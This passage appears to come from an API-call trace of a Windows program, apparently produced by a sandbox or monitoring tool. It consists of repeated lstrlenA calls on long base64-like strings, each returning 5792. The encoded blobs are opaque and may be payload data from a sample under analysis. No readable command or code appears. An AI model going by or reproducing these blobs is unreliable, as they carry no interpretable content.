wwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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